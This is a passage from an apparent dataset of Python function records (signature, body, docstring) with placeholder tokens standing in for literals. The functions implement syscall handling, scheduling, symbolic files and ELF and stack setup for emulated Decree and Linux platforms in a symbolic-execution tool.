zero.\n\n            :param cpu: current CPU.\n            :param fd: a valid file descriptor\n            :param buf: a memory buffer\n            :param count: max number of bytes to receive\n            :param rx_bytes: if valid, points to the actual number of bytes received\n            :return: 0            Success\n                     EBADF        fd is not a valid file descriptor or is not open\n                     EFAULT       buf or rx_bytes points to an invalid address.", "id": "f17020:c4:m15"}
{"signature": "def sys_transmit(self, cpu, fd, buf, count, tx_bytes):", "body": "data = []<EOL>if count != <NUM_LIT:0>:<EOL><INDENT>if not self._is_open(fd):<EOL><INDENT>logger.error(\"<STR_LIT>\", fd)<EOL>return Decree.CGC_EBADF<EOL><DEDENT>if buf not in cpu.memory or (buf + count) not in cpu.memory:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>if fd > <NUM_LIT:2> and self.files[fd].is_full():<EOL><INDENT>cpu.PC -= cpu.instruction.size<EOL>self.wait([], [fd], None)<EOL>raise RestartSyscall()<EOL><DEDENT>for i in range(<NUM_LIT:0>, count):<EOL><INDENT>value = Operators.CHR(cpu.read_int(buf + i, <NUM_LIT:8>))<EOL>if not isinstance(value, str):<EOL><INDENT>logger.debug(\"<STR_LIT>\", fd)<EOL><DEDENT>data.append(value)<EOL><DEDENT>self.files[fd].transmit(data)<EOL>logger.info(\"<STR_LIT>\" % (fd, buf, count, tx_bytes, '<STR_LIT>'.join([str(x) for x in data])))<EOL>self.syscall_trace.append((\"<STR_LIT>\", fd, data))<EOL>self.signal_transmit(fd)<EOL><DEDENT>if tx_bytes:<EOL><INDENT>if tx_bytes not in cpu.memory:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>cpu.write_int(tx_bytes, len(data), <NUM_LIT:32>)<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "transmit - send bytes through a file descriptor\n          The  transmit system call writes up to count bytes from the buffer pointed\n          to by buf to the file descriptor fd. If count is zero, transmit returns 0\n          and optionally sets *tx_bytes to zero.\n\n          :param cpu           current CPU\n          :param fd            a valid file descriptor\n          :param buf           a memory buffer\n          :param count         number of bytes to send\n          :param tx_bytes      if valid, points to the actual number of bytes transmitted\n          :return: 0            Success\n                   EBADF        fd is not a valid file descriptor or is not open.\n                   EFAULT       buf or tx_bytes points to an invalid address.", "id": "f17020:c4:m16"}
{"signature": "def sys_terminate(self, cpu, error_code):", "body": "procid = self.procs.index(cpu)<EOL>self.sched()<EOL>self.running.remove(procid)<EOL>if issymbolic(error_code):<EOL><INDENT>logger.info(\"<STR_LIT>\", procid, solver.minmax(self.constraints, error_code))<EOL><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\", procid, error_code)<EOL><DEDENT>if len(self.running) == <NUM_LIT:0>:<EOL><INDENT>raise TerminateState(f'<STR_LIT>')<EOL><DEDENT>return error_code<EOL>", "docstring": "Exits all threads in a process\n:param cpu: current CPU.\n:raises Exception: 'Finished'", "id": "f17020:c4:m17"}
{"signature": "def sys_deallocate(self, cpu, addr, size):", "body": "logger.info(\"<STR_LIT>\" % (addr, size))<EOL>if addr & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EINVAL<EOL><DEDENT>if size == <NUM_LIT:0>:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EINVAL<EOL><DEDENT>cpu.memory.munmap(addr, size)<EOL>self.syscall_trace.append((\"<STR_LIT>\", -<NUM_LIT:1>, size))<EOL>return <NUM_LIT:0><EOL>", "docstring": "deallocate - remove allocations\n        The  deallocate  system call deletes the allocations for the specified\n        address range, and causes further references to the addresses within the\n        range to generate invalid memory accesses. The region is also\n        automatically deallocated when the process is terminated.\n\n        The address addr must be a multiple of the page size.  The length parameter\n        specifies the size of the region to be deallocated in bytes.  All pages\n        containing a part of the indicated range are deallocated, and subsequent\n        references will terminate the process.  It is not an error if the indicated\n        range does not contain any allocated pages.\n\n        The deallocate function is invoked through system call number 6.\n\n        :param cpu: current CPU\n        :param addr: the starting address to unmap.\n        :param size: the size of the portion to unmap.\n        :return 0        On success\n                EINVAL   addr is not page aligned.\n                EINVAL   length is zero.\n                EINVAL   any  part  of  the  region  being  deallocated  is outside the valid\n                         address range of the process.\n\n        :param cpu: current CPU.\n        :return: C{0} on success.", "id": "f17020:c4:m18"}
{"signature": "def sys_fdwait(self, cpu, nfds, readfds, writefds, timeout, readyfds):", "body": "logger.debug(\"<STR_LIT>\" % (nfds, readfds, writefds, timeout, readyfds))<EOL>if timeout:<EOL><INDENT>if timeout not in cpu.memory:  <EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT><DEDENT>if readyfds:<EOL><INDENT>if readyfds not in cpu.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT><DEDENT>writefds_wait = set()<EOL>writefds_ready = set()<EOL>fds_bitsize = (nfds + <NUM_LIT:7>) & ~<NUM_LIT:7><EOL>if writefds:<EOL><INDENT>if writefds not in cpu.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>bits = cpu.read_int(writefds, fds_bitsize)<EOL>for fd in range(nfds):<EOL><INDENT>if (bits & <NUM_LIT:1> << fd):<EOL><INDENT>if self.files[fd].is_full():<EOL><INDENT>writefds_wait.add(fd)<EOL><DEDENT>else:<EOL><INDENT>writefds_ready.add(fd)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>readfds_wait = set()<EOL>readfds_ready = set()<EOL>if readfds:<EOL><INDENT>if readfds not in cpu.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>bits = cpu.read_int(readfds, fds_bitsize)<EOL>for fd in range(nfds):<EOL><INDENT>if (bits & <NUM_LIT:1> << fd):<EOL><INDENT>if self.files[fd].is_empty():<EOL><INDENT>readfds_wait.add(fd)<EOL><DEDENT>else:<EOL><INDENT>readfds_ready.add(fd)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>n = len(readfds_ready) + len(writefds_ready)<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>if timeout != <NUM_LIT:0>:<EOL><INDENT>seconds = cpu.read_int(timeout, <NUM_LIT:32>)<EOL>microseconds = cpu.read_int(timeout + <NUM_LIT:4>, <NUM_LIT:32>)<EOL>logger.info(\"<STR_LIT>\", repr(<EOL>list(readfds_wait)), repr(list(writefds_wait)), microseconds + <NUM_LIT:1000> * seconds)<EOL>to = microseconds + <NUM_LIT:1000> * seconds<EOL><DEDENT>else:<EOL><INDENT>to = None<EOL>logger.info(\"<STR_LIT>\",<EOL>repr(list(readfds_wait)), repr(list(writefds_wait)))<EOL><DEDENT>cpu.PC -= cpu.instruction.size<EOL>self.wait(readfds_wait, writefds_wait, to)<EOL>raise RestartSyscall()  <EOL><DEDENT>if readfds:<EOL><INDENT>bits = <NUM_LIT:0><EOL>for fd in readfds_ready:<EOL><INDENT>bits |= <NUM_LIT:1> << fd<EOL><DEDENT>for byte in range(<NUM_LIT:0>, nfds, <NUM_LIT:8>):<EOL><INDENT>cpu.write_int(readfds, (bits >> byte) & <NUM_LIT>, <NUM_LIT:8>)<EOL><DEDENT><DEDENT>if writefds:<EOL><INDENT>bits = <NUM_LIT:0><EOL>for fd in writefds_ready:<EOL><INDENT>bits |= <NUM_LIT:1> << fd<EOL><DEDENT>for byte in range(<NUM_LIT:0>, nfds, <NUM_LIT:8>):<EOL><INDENT>cpu.write_int(writefds, (bits >> byte) & <NUM_LIT>, <NUM_LIT:8>)<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\", readyfds)<EOL>if readyfds:<EOL><INDENT>cpu.write_int(readyfds, n, <NUM_LIT:32>)<EOL><DEDENT>self.syscall_trace.append((\"<STR_LIT>\", -<NUM_LIT:1>, None))<EOL>return <NUM_LIT:0><EOL>", "docstring": "fdwait - wait for file descriptors to become ready", "id": "f17020:c4:m19"}
{"signature": "def int80(self, cpu):", "body": "syscalls = {<NUM_LIT>: self.sys_terminate,<EOL><NUM_LIT>: self.sys_transmit,<EOL><NUM_LIT>: self.sys_receive,<EOL><NUM_LIT>: self.sys_fdwait,<EOL><NUM_LIT>: self.sys_allocate,<EOL><NUM_LIT>: self.sys_deallocate,<EOL><NUM_LIT>: self.sys_random,<EOL>}<EOL>if cpu.EAX not in syscalls.keys():<EOL><INDENT>raise TerminateState(f\"<STR_LIT>\")<EOL><DEDENT>func = syscalls[cpu.EAX]<EOL>logger.debug(\"<STR_LIT>\", func.__name__, func.__code__.co_argcount)<EOL>nargs = func.__code__.co_argcount<EOL>args = [cpu, cpu.EBX, cpu.ECX, cpu.EDX, cpu.ESI, cpu.EDI, cpu.EBP]<EOL>cpu.EAX = func(*args[:nargs - <NUM_LIT:1>])<EOL>", "docstring": "32 bit dispatcher.\n:param cpu: current CPU.\n_terminate, transmit, receive, fdwait, allocate, deallocate and random", "id": "f17020:c4:m20"}
{"signature": "def sched(self):", "body": "if len(self.procs) > <NUM_LIT:1>:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\", self.procs)<EOL>logger.info(\"<STR_LIT>\", self.running)<EOL>logger.info(\"<STR_LIT>\", self.rwait)<EOL>logger.info(\"<STR_LIT>\", self.twait)<EOL>logger.info(\"<STR_LIT>\", self.timers)<EOL>logger.info(\"<STR_LIT>\", self.clocks)<EOL>logger.info(\"<STR_LIT>\", self._current)<EOL><DEDENT>if len(self.running) == <NUM_LIT:0>:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>if all([x is None for x in self.timers]):<EOL><INDENT>raise Deadlock()<EOL><DEDENT>self.clocks = min([x for x in self.timers if x is not None]) + <NUM_LIT:1><EOL>self.check_timers()<EOL>assert len(self.running) != <NUM_LIT:0>, \"<STR_LIT>\"<EOL>self._current = self.running[<NUM_LIT:0>]<EOL>return<EOL><DEDENT>next_index = (self.running.index(self._current) + <NUM_LIT:1>) % len(self.running)<EOL>next = self.running[next_index]<EOL>if len(self.procs) > <NUM_LIT:1>:<EOL><INDENT>logger.info(\"<STR_LIT>\", self._current, next)<EOL><DEDENT>self._current = next<EOL>", "docstring": "Yield CPU.\n            This will choose another process from the RUNNNIG list and change\n            current running process. May give the same cpu if only one running\n            process.", "id": "f17020:c4:m21"}
{"signature": "def wait(self, readfds, writefds, timeout):", "body": "logger.info(\"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\", self._current, readfds, writefds, timeout)<EOL>logger.info(\"<STR_LIT>\", self.procs)<EOL>logger.info(\"<STR_LIT>\", self.running)<EOL>logger.info(\"<STR_LIT>\", self.rwait)<EOL>logger.info(\"<STR_LIT>\", self.twait)<EOL>logger.info(\"<STR_LIT>\", self.timers)<EOL>for fd in readfds:<EOL><INDENT>self.rwait[fd].add(self._current)<EOL><DEDENT>for fd in writefds:<EOL><INDENT>self.twait[fd].add(self._current)<EOL><DEDENT>if timeout is not None:<EOL><INDENT>self.timers[self._current] = self.clocks + timeout<EOL><DEDENT>else:<EOL><INDENT>self.timers[self._current] = None<EOL><DEDENT>procid = self._current<EOL>next_index = (self.running.index(procid) + <NUM_LIT:1>) % len(self.running)<EOL>self._current = self.running[next_index]<EOL>logger.info(\"<STR_LIT>\", procid, self._current)<EOL>logger.info(\"<STR_LIT>\", procid, self.running, self._current)<EOL>self.running.remove(procid)<EOL>if self._current not in self.running:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self._current = None<EOL>if all([x is None for x in self.timers]):<EOL><INDENT>raise Deadlock()<EOL><DEDENT>self.check_timers()<EOL><DEDENT>", "docstring": "Wait for filedescriptors or timeout.\n            Adds the current process to the corresponding waiting list and\n            yields the cpu to another running process.", "id": "f17020:c4:m22"}
{"signature": "def awake(self, procid):", "body": "logger.info(\"<STR_LIT>\", procid)<EOL>for wait_list in self.rwait:<EOL><INDENT>if procid in wait_list:<EOL><INDENT>wait_list.remove(procid)<EOL><DEDENT><DEDENT>for wait_list in self.twait:<EOL><INDENT>if procid in wait_list:<EOL><INDENT>wait_list.remove(procid)<EOL><DEDENT><DEDENT>self.timers[procid] = None<EOL>self.running.append(procid)<EOL>if self._current is None:<EOL><INDENT>self._current = procid<EOL><DEDENT>", "docstring": "Remove procid from waitlists and reestablish it in the running list", "id": "f17020:c4:m23"}
{"signature": "def signal_receive(self, fd):", "body": "connections = self.connections<EOL>if connections(fd) and self.twait[connections(fd)]:<EOL><INDENT>procid = random.sample(self.twait[connections(fd)], <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>self.awake(procid)<EOL><DEDENT>", "docstring": "Awake one process waiting to receive data on fd", "id": "f17020:c4:m25"}
{"signature": "def signal_transmit(self, fd):", "body": "connections = self.connections<EOL>if connections(fd) and self.rwait[connections(fd)]:<EOL><INDENT>procid = random.sample(self.rwait[connections(fd)], <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>self.awake(procid)<EOL><DEDENT>", "docstring": "Awake one process waiting to transmit data on fd", "id": "f17020:c4:m26"}
{"signature": "def check_timers(self):", "body": "if self._current is None:<EOL><INDENT>advance = min([x for x in self.timers if x is not None]) + <NUM_LIT:1><EOL>logger.info(\"<STR_LIT>\", self.clocks, advance)<EOL>self.clocks = advance<EOL><DEDENT>for procid in range(len(self.timers)):<EOL><INDENT>if self.timers[procid] is not None:<EOL><INDENT>if self.clocks > self.timers[procid]:<EOL><INDENT>self.procs[procid].PC += self.procs[procid].instruction.size<EOL>self.awake(procid)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Awake process if timer has expired", "id": "f17020:c4:m27"}
{"signature": "def execute(self):", "body": "try:<EOL><INDENT>self.current.execute()<EOL>self.clocks += <NUM_LIT:1><EOL>if self.clocks % <NUM_LIT> == <NUM_LIT:0>:<EOL><INDENT>self.check_timers()<EOL>self.sched()<EOL><DEDENT><DEDENT>except Interruption as e:<EOL><INDENT>if e.N != <NUM_LIT>:<EOL><INDENT>raise<EOL><DEDENT>try:<EOL><INDENT>self.int80(self.current)<EOL><DEDENT>except RestartSyscall:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Execute one cpu instruction in the current thread (only one supported).\n:rtype: bool\n:return: C{True}\n\n:todo: This is where we could implement a simple schedule.", "id": "f17020:c4:m28"}
{"signature": "def __init__(self, constraints, programs, symbolic_random=None):", "body": "self.random = <NUM_LIT:0><EOL>self._constraints = constraints<EOL>super().__init__(programs)<EOL>", "docstring": "Builds a symbolic extension of a Decree OS\n:param constraints: a constraint set\n:param cpus: CPU for this platform\n:param mem: memory for this platform", "id": "f17020:c5:m0"}
{"signature": "def sys_receive(self, cpu, fd, buf, count, rx_bytes):", "body": "if issymbolic(fd):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:0>)<EOL><DEDENT>if issymbolic(buf):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:1>)<EOL><DEDENT>if issymbolic(count):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:2>)<EOL><DEDENT>if issymbolic(rx_bytes):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:3>)<EOL><DEDENT>return super().sys_receive(cpu, fd, buf, count, rx_bytes)<EOL>", "docstring": "Symbolic version of Decree.sys_receive", "id": "f17020:c5:m6"}
{"signature": "def sys_transmit(self, cpu, fd, buf, count, tx_bytes):", "body": "if issymbolic(fd):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:0>)<EOL><DEDENT>if issymbolic(buf):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:1>)<EOL><DEDENT>if issymbolic(count):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:2>)<EOL><DEDENT>if issymbolic(tx_bytes):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>cpu.PC = cpu.PC - cpu.instruction.size<EOL>raise SymbolicSyscallArgument(cpu, <NUM_LIT:3>)<EOL><DEDENT>return super().sys_transmit(cpu, fd, buf, count, tx_bytes)<EOL>", "docstring": "Symbolic version of Decree.sys_transmit", "id": "f17020:c5:m7"}
{"signature": "def sync(self):", "body": "return<EOL>", "docstring": "Flush buffered data. Currently not implemented.", "id": "f17024:c4:m15"}
{"signature": "def __init__(self, constraints, path=\"<STR_LIT>\", mode='<STR_LIT>', max_size=<NUM_LIT:100>,<EOL>wildcard='<STR_LIT:+>'):", "body": "super().__init__(path, mode)<EOL>data = self.file.read()<EOL>self._constraints = constraints<EOL>self.pos = <NUM_LIT:0><EOL>self.max_size = min(len(data), max_size)<EOL>size = len(data)<EOL>self.array = constraints.new_array(name=self.name, index_max=size)<EOL>symbols_cnt = <NUM_LIT:0><EOL>for i in range(size):<EOL><INDENT>if data[i] != wildcard:<EOL><INDENT>self.array[i] = data[i]<EOL><DEDENT>else:<EOL><INDENT>symbols_cnt += <NUM_LIT:1><EOL><DEDENT><DEDENT>if symbols_cnt > max_size:<EOL><INDENT>logger.warning((\"<STR_LIT>\",<EOL>\"<STR_LIT>\"),<EOL>symbols_cnt,<EOL>max_size)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\",<EOL>symbols_cnt,<EOL>self.name)<EOL><DEDENT>", "docstring": "Builds a symbolic file\n\n:param constraints: the SMT constraints\n:param str path: the pathname of the symbolic file\n:param str mode: the access permissions of the symbolic file\n:param max_size: Maximum amount of bytes of the symbolic file\n:param str wildcard: Wildcard to be used in symbolic file", "id": "f17024:c6:m0"}
{"signature": "def tell(self):", "body": "return self.pos<EOL>", "docstring": "Returns the read/write file offset\n:rtype: int\n:return: the read/write file offset.", "id": "f17024:c6:m3"}
{"signature": "def seek(self, offset, whence=os.SEEK_SET):", "body": "assert isinstance(offset, int)<EOL>assert whence in (os.SEEK_SET, os.SEEK_CUR, os.SEEK_END)<EOL>new_position = <NUM_LIT:0><EOL>if whence == os.SEEK_SET:<EOL><INDENT>new_position = offset<EOL><DEDENT>elif whence == os.SEEK_CUR:<EOL><INDENT>new_position = self.pos + offset<EOL><DEDENT>elif whence == os.SEEK_END:<EOL><INDENT>new_position = self.max_size + offset<EOL><DEDENT>if new_position < <NUM_LIT:0>:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>self.pos = new_position<EOL>return self.pos<EOL>", "docstring": "Repositions the file C{offset} according to C{whence}.\nReturns the resulting offset or -1 in case of error.\n:rtype: int\n:return: the file offset.", "id": "f17024:c6:m4"}
{"signature": "def read(self, count):", "body": "if self.pos > self.max_size:<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>size = min(count, self.max_size - self.pos)<EOL>ret = [self.array[i] for i in range(self.pos, self.pos + size)]<EOL>self.pos += size<EOL>return ret<EOL><DEDENT>", "docstring": "Reads up to C{count} bytes from the file.\n:rtype: list\n:return: the list of symbolic bytes read", "id": "f17024:c6:m5"}
{"signature": "def write(self, data):", "body": "size = min(len(data), self.max_size - self.pos)<EOL>for i in range(self.pos, self.pos + size):<EOL><INDENT>self.array[i] = data[i - self.pos]<EOL><DEDENT>", "docstring": "Writes the symbolic bytes in C{data} onto the file.", "id": "f17024:c6:m6"}
{"signature": "def __init__(self, program, argv=None, envp=None, disasm='<STR_LIT>', **kwargs):", "body": "super().__init__(path=program, **kwargs)<EOL>self.program = program<EOL>self.clocks = <NUM_LIT:0><EOL>self.files = []<EOL>self._closed_files = []<EOL>self.syscall_trace = []<EOL>self.programs = program<EOL>self.disasm = disasm<EOL>self.envp = envp<EOL>self.argv = argv<EOL>self._rlimits = {<EOL>resource.RLIMIT_NOFILE: (<NUM_LIT>, <NUM_LIT>),<EOL>resource.RLIMIT_STACK: (<NUM_LIT> * <NUM_LIT>, <NUM_LIT:0>)<EOL>}<EOL>if program is not None:<EOL><INDENT>self.elf = ELFFile(open(program, '<STR_LIT:rb>'))<EOL>self.arch = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}[self.elf.get_machine_arch()]<EOL>self._init_cpu(self.arch)<EOL>self._init_std_fds()<EOL>self._execve(program, argv, envp)<EOL><DEDENT>", "docstring": "Builds a Linux OS platform\n:param string program: The path to ELF binary\n:param string disasm: Disassembler to be used\n:param list argv: The argv array; not including binary.\n:param list envp: The ENV variables.\n:ivar files: List of active file descriptors\n:type files: list[Socket] or list[File]", "id": "f17024:c9:m0"}
{"signature": "@classmethod<EOL><INDENT>def empty_platform(cls, arch):<DEDENT>", "body": "platform = cls(None)<EOL>platform._init_cpu(arch)<EOL>platform._init_std_fds()<EOL>return platform<EOL>", "docstring": "Create a platform without an ELF loaded.\n\n:param str arch: The architecture of the new platform\n:rtype: Linux", "id": "f17024:c9:m4"}
{"signature": "def _execve(self, program, argv, envp):", "body": "argv = [] if argv is None else argv<EOL>envp = [] if envp is None else envp<EOL>logger.debug(f\"<STR_LIT>\")<EOL>self.load(program, envp)<EOL>self._arch_specific_init()<EOL>self._stack_top = self.current.STACK<EOL>self.setup_stack([program] + argv, envp)<EOL>nprocs = len(self.procs)<EOL>nfiles = len(self.files)<EOL>assert nprocs > <NUM_LIT:0><EOL>self.running = list(range(nprocs))<EOL>self.timers = [None] * nprocs<EOL>self.rwait = [set() for _ in range(nfiles)]<EOL>self.twait = [set() for _ in range(nfiles)]<EOL>for proc in self.procs:<EOL><INDENT>self.forward_events_from(proc)<EOL><DEDENT>", "docstring": "Load `program` and establish program state, such as stack and arguments.\n\n:param program str: The ELF binary to load\n:param argv list: argv array\n:param envp list: envp array", "id": "f17024:c9:m8"}
{"signature": "def __setstate__(self, state):", "body": "super().__setstate__(state)<EOL>self.input = Socket()<EOL>self.input.buffer = state['<STR_LIT:input>']<EOL>self.output = Socket()<EOL>self.output.buffer = state['<STR_LIT>']<EOL>self.files = []<EOL>for ty, file_or_buffer in state['<STR_LIT>']:<EOL><INDENT>if ty == '<STR_LIT>':<EOL><INDENT>f = Socket()<EOL>f.buffer = file_or_buffer<EOL>self.files.append(f)<EOL><DEDENT>else:<EOL><INDENT>self.files.append(file_or_buffer)<EOL><DEDENT><DEDENT>self.files[<NUM_LIT:0>].peer = self.output<EOL>self.files[<NUM_LIT:1>].peer = self.output<EOL>self.files[<NUM_LIT:2>].peer = self.output<EOL>self._closed_files = state['<STR_LIT>']<EOL>self.input.peer = self.files[<NUM_LIT:0>]<EOL>self._rlimits = state['<STR_LIT>']<EOL>self.procs = state['<STR_LIT>']<EOL>self._current = state['<STR_LIT>']<EOL>self.running = state['<STR_LIT>']<EOL>self.rwait = state['<STR_LIT>']<EOL>self.twait = state['<STR_LIT>']<EOL>self.timers = state['<STR_LIT>']<EOL>self.clocks = state['<STR_LIT>']<EOL>self.syscall_trace = state['<STR_LIT>']<EOL>self.argv = state['<STR_LIT>']<EOL>self.envp = state['<STR_LIT>']<EOL>self.base = state['<STR_LIT>']<EOL>self.elf_bss = state['<STR_LIT>']<EOL>self.end_code = state['<STR_LIT>']<EOL>self.end_data = state['<STR_LIT>']<EOL>self.elf_brk = state['<STR_LIT>']<EOL>self.brk = state['<STR_LIT>']<EOL>self.auxv = state['<STR_LIT>']<EOL>self.program = state['<STR_LIT>']<EOL>self._function_abi = state['<STR_LIT>']<EOL>self._syscall_abi = state['<STR_LIT>']<EOL>self._uname_machine = state['<STR_LIT>']<EOL>if '<STR_LIT>' in state:<EOL><INDENT>self._arm_tls_memory = state['<STR_LIT>']<EOL><DEDENT>for proc in self.procs:<EOL><INDENT>self.forward_events_from(proc)<EOL><DEDENT>", "docstring": ":todo: some asserts\n:todo: fix deps? (last line)", "id": "f17024:c9:m12"}
{"signature": "def _init_arm_kernel_helpers(self):", "body": "page_data = bytearray(b'<STR_LIT>' * <NUM_LIT>)<EOL>preamble = binascii.unhexlify(<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>'<EOL>)<EOL>__kuser_cmpxchg64 = binascii.unhexlify(<EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>'   <EOL>)<EOL>__kuser_dmb = binascii.unhexlify(<EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>'   <EOL>)<EOL>__kuser_cmpxchg = binascii.unhexlify(<EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>'   <EOL>)<EOL>self._arm_tls_memory = self.current.memory.mmap(None, <NUM_LIT:4>, '<STR_LIT>')<EOL>__kuser_get_tls = binascii.unhexlify(<EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>' +  <EOL>'<STR_LIT>'   <EOL>) + struct.pack('<STR_LIT>', self._arm_tls_memory)<EOL>tls_area = b'<STR_LIT:\\x00>' * <NUM_LIT:12><EOL>version = struct.pack('<STR_LIT>', <NUM_LIT:5>)<EOL>def update(address, code):<EOL><INDENT>page_data[address:address + len(code)] = code<EOL><DEDENT>update(<NUM_LIT>, preamble)<EOL>update(<NUM_LIT>, __kuser_cmpxchg64)<EOL>update(<NUM_LIT>, __kuser_dmb)<EOL>update(<NUM_LIT>, __kuser_cmpxchg)<EOL>update(<NUM_LIT>, __kuser_get_tls)<EOL>update(<NUM_LIT>, tls_area)<EOL>update(<NUM_LIT>, version)<EOL>self.current.memory.mmap(<NUM_LIT>, len(page_data), '<STR_LIT>', page_data)<EOL>", "docstring": "ARM kernel helpers\n\nhttps://www.kernel.org/doc/Documentation/arm/kernel_user_helpers.txt", "id": "f17024:c9:m13"}
{"signature": "def setup_stack(self, argv, envp):", "body": "cpu = self.current<EOL>cpu.STACK = self._stack_top<EOL>auxv = self.auxv<EOL>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>if envp:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>for e in envp:<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>for name, val in auxv.items():<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>argvlst = []<EOL>envplst = []<EOL>for evar in envp:<EOL><INDENT>cpu.push_bytes('<STR_LIT:\\x00>')<EOL>envplst.append(cpu.push_bytes(evar))<EOL><DEDENT>for arg in argv:<EOL><INDENT>cpu.push_bytes('<STR_LIT:\\x00>')<EOL>argvlst.append(cpu.push_bytes(arg))<EOL><DEDENT>for name, value in auxv.items():<EOL><INDENT>if hasattr(value, '<STR_LIT>'):<EOL><INDENT>cpu.push_bytes(value)<EOL>auxv[name] = cpu.STACK<EOL><DEDENT><DEDENT>auxvnames = {<EOL>'<STR_LIT>': <NUM_LIT:1>,  <EOL>'<STR_LIT>': <NUM_LIT:2>,  <EOL>'<STR_LIT>': <NUM_LIT:3>,  <EOL>'<STR_LIT>': <NUM_LIT:4>,  <EOL>'<STR_LIT>': <NUM_LIT:5>,  <EOL>'<STR_LIT>': <NUM_LIT:6>,  <EOL>'<STR_LIT>': <NUM_LIT:7>,  <EOL>'<STR_LIT>': <NUM_LIT:8>,  <EOL>'<STR_LIT>': <NUM_LIT:9>,  <EOL>'<STR_LIT>': <NUM_LIT:10>,  <EOL>'<STR_LIT>': <NUM_LIT:11>,  <EOL>'<STR_LIT>': <NUM_LIT:12>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT:15>,  <EOL>'<STR_LIT>': <NUM_LIT:16>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>'<STR_LIT>': <NUM_LIT:32>,  <EOL>'<STR_LIT>': <NUM_LIT>,  <EOL>}<EOL>cpu.push_int(<NUM_LIT:0>)<EOL>cpu.push_int(<NUM_LIT:0>)<EOL>for name, val in auxv.items():<EOL><INDENT>cpu.push_int(val)<EOL>cpu.push_int(auxvnames[name])<EOL><DEDENT>cpu.push_int(<NUM_LIT:0>)<EOL>for var in reversed(envplst):              <EOL><INDENT>cpu.push_int(var)<EOL><DEDENT>envp = cpu.STACK<EOL>cpu.push_int(<NUM_LIT:0>)<EOL>for arg in 